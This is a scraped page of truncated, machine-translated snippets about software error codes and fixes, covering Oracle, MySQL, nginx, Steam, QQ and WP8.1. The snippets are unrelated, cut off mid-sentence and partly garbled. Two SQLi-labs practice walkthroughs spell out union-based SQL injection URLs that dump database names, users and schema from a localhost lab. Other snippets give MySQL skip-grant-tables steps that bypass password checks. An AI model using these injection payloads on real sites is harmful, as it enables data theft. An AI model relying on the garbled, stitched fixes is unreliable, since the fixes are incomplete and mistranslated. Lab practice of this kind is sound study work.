error 80020009

Before WP7 is used Htmlagilitypack and XPath to parse the page, very useful.But under the Wp8.1, there is a lack of a very important method.1 New 　　HTMLDocument (); // instantiating a HTMLDocument object 2 Doc.　　loadhtml (HTML); // Loading HTML 3 var tags = doc. Documentnode. selectnodes　　("//li"); // gets the node based on the ID of the HTML nodeThe SelectNodes () method is used to read the nodes, and the example above is to select all the So we have to find another way to parse the HTML, like

The morning for other reasons suddenly caused a power outage, and then restart the database server, when the service started up, but can not connect to the landing, only to Sysdba to login, to the OEM inside see the state is loaded state, can not open, open the Times ora-00600:internal Error code, arguments: [Kcratr1_lostwrt], [], [], [], [] error, and then through Baidu find the following solutions for you

Cause: ORA-00257 error (lack of space error), by looking for information, the vast majority of this is due to the archive log too much, occupy all the hard disk space caused by the simple deletion of the log or increase storage space can be resolved. Solution: 1, login server, user Oracle, connect Oracle [root@userbeta~]# su-oracle [Oracle@userbeta~]$ Sqlplus/nolog Sql> Connect/as SYSDBA 2, check the use

The following error occurred while entering exp in the DOS environment.. Exporting Pre-schema process objects and actions. Exporting external function library names for user Fjzyinfo. Export public type synonyms. Exporting private type synonyms. Exporting user Fjzyinfo Object type definitionsAbout to export Fjzyinfo objects .... Exporting database Links. Exporting ordinal. Exporting cluster definitionsEXP-00056: ORACLE

The "1002" error number appears when the brush machine is used by the Master painter, which means "cell phone offline". Possible causes of an error: The storage card may not be detected, please insert the storage card and swap the USB connection mode for "charge only" or "sync" and try again. You can try the following methods to resolve: 1. Check whether the device has been inserted to read and write th

Steam Market Error Code 502 Solution If you have 502 errors in the steam purchase game, take a look at this workaround. Do not encounter, you can also collect, forward to your friends, in case of a rainy. First, a simple and brutal solution: Use Notepad to open the Hosts file for Windows, Address: "C:\windows\system32\drivers\etc" Can not find Baidu. Then add the correct smart2pay URL domain name--IPv4 address, corresponding relationship. Th

QQ Login does not prompt error 0x00000001 problem is generally a network problem, if the network is not a problem may be some other problems, such as computer poisoning and so on. Solutions ⒈) Kill virus We use professional antivirus or 360 guards to kill, remember is 360 bodyguard is not 360 antivirus oh. ⒉) can try to login QQ multiple times try again. ⒊) Try to change the number of QQ landing, if you can not delete QQ software reinstall. 0X0

Today in the 64-bit red Hat Enterprise Linux as Release 4.7 Compile PHP5.2.6 error, MySQL is used by the RPM method installed, PHP compiled code as follows: ./configure--prefix=/usr/local/php--with-mysql--with-apxs2=/usr/local/apache/bin/apxs--with-openssl--with-curl --enable-xml--with-mcrypt--with-ttf--enable-magic-quotes--enable-fastcgi--enable-mbstring-- Enable-mbstring--with-gd--with-jpeg-dir--with-png-dir--with-zlib-dir--enable-sysvsem Th

Multi-Process---Error resolution attribute Error:can ' t get attributes ' Long_time_task ' on StackOverflow Solutions This problem seems to be a design feature of multiprocessor. Please refer to https://bugs.python.org/issue25053. Pool cannot always use objects that are not defined in the imported module for some reason. So you have to write the function to a different file and import the module. SolutionsOne file generates an

Interim solution Execute MySQL command: Show full processlist; Then find the system ID of the INSERT statement Execute mysql command: Kill ID On the network to find the relevant information, here are excerpts: First, review the process information for the database: Show full processlist; /* Results slightly, mainly look at the ID column value * * Then look at the things table: SELECT * from INFORMATION_SCHEMA. Innodb_trx\g;/* result slightly, note the value of the trx_mysql_thread_id pa

Got a U.S. server, reset the next nginx installation configuration,/usr/local/nginx/sbin/nginx-s reload prompts the following error: [root@kvmla-201606291067 conf]#/usr/local/nginx/sbin/nginx-s ReloadNginx: [ERROR] Invalid PID number "" In "/usr/local/nginx/logs/nginx.pid" Invalid PID number. Online Search data solutions are as follows: /usr/local/nginx/sbin/nginx-c/usr/local/nginx/conf/nginx.conf Re-v

FEC (Forward error Correction) forward error correction UDP\RTP used to improve wireless and other network packet loss problems The algorithm is not introduced at this stage. Idea: FEC ENCODE adds redundant packets, and when the wireless network drops packets, the receiver uses redundant packets to decode the lost packets. Example: 10 packets, the code will add 2 packets, a total of 12 packets sent to th

Environment MySQL Sever 5.1 + MySQL command line tool Problem Error 1064 (42000): You have a error inyour SQL syntax; Check the manual that orresponds to your MySQL server versionfor the right syntax to use near ' order ' Solve The table name uses a keyword, which is named in the database to avoid using keywords. Hibernate the query statement is an alias for the field to avoid using keywords. See mo

A classmate restart after the Internet, pop-up information TCP/IP error, Error event code: 10106. The first time to meet this problem, is really depressed, think carefully, probably re-install the TCP/IP protocol is OK. By the way, I went on the internet and strolled around to see if there were any similar problems and how to solve them.After my Shanshan, over the mountains, I finally found a solution here

CentOS command log in MySQL Error error 1045 (28000): Access denied for user [email protected] (using Password:no) Troubleshooting method1. Disable MySQL service: #/etc/rc.d/init.d/mysqld stop2. Input command: # mysqld_safe--user=mysql--skip-grant-tables--skip-networking 3. Log in database: # mysql-u root MySQL4, mysql> use MySQL; the results are as follows:Database changed 5, mysql> UPDATE user SET Passwor

Tags: style blog http color os file Data 2014Today, when restoring a database, first establish a database of the same name, and then right-click on the database to restore the database. An error has been encountered:"The database backup in the backup set is different from the existing ' rm_db ' database. RESTORE DATABASE is terminating abnormally. (Microsoft SQL Server, error: 3154) ”Obviously, this is due

Tags: color and Security tab SQLI Local INF-based SQLSubmit ID parameter Extra Http://localhost/sqli/Less-4/?id=1 ' The page is working, adding " Http://localhost/sqli/Less-4/?id=1 " The corresponding SQL statement should be Select ... where xx= ("1") limit 0,1 Structure Select ... where xx= ("1") #") limit 0,1 The corresponding GET request Http://localhost/sqli/Less-4/?id=1 ")%23 Http://localhost/sqli/Less-4/?id=a ") union Select 1,2,3%23 And then there's the flow. Http://localhost/sqli/Le

Tags:. com and div same where URI tables table emailSame as Less1, go straight to the flowSubmit parameter, direct ORDER byHttp://localhost/sqli/Less-2/?id=1 ORDER BY 1%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,2,3%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,database (), User ()%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,table_name,3 from Information_schema.tables where table_schema= ' Security ' Limit 0,1%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,column_

Service MySQL start error, MySQL can not boot, resolve mysql:unrecognized Service error method is as follows:[[Email protected] ~]# service MySQL startMysql:unrecognized Service[[Email protected] ~]# service MySQL restartMysql:unrecognized Service[[email protected] ~]# rpm-q mysql query found MySQL is installed properlyMysql-5.1.52-jason.1[[email protected] ~]#/etc/rc.d/init.d/mysqld start direct startup no

1, modify the MySQL configuration file, so that MySQL login to skip password verificationSkip-grant-tables2. Restart MySQL ServiceService MySQL Restart3. Go to MySQL and change the password in the user table[Root] #mysql-u rootmysql> show Databases;mysql> Use mysql;mysqlset Password=password ('root'where'root'; MySQL>exit4, restore the MySQL configuration file, the code line just added skip-grant-tables delete or use # comment out5. After restarting MySQL, enter MySQL again, using the password y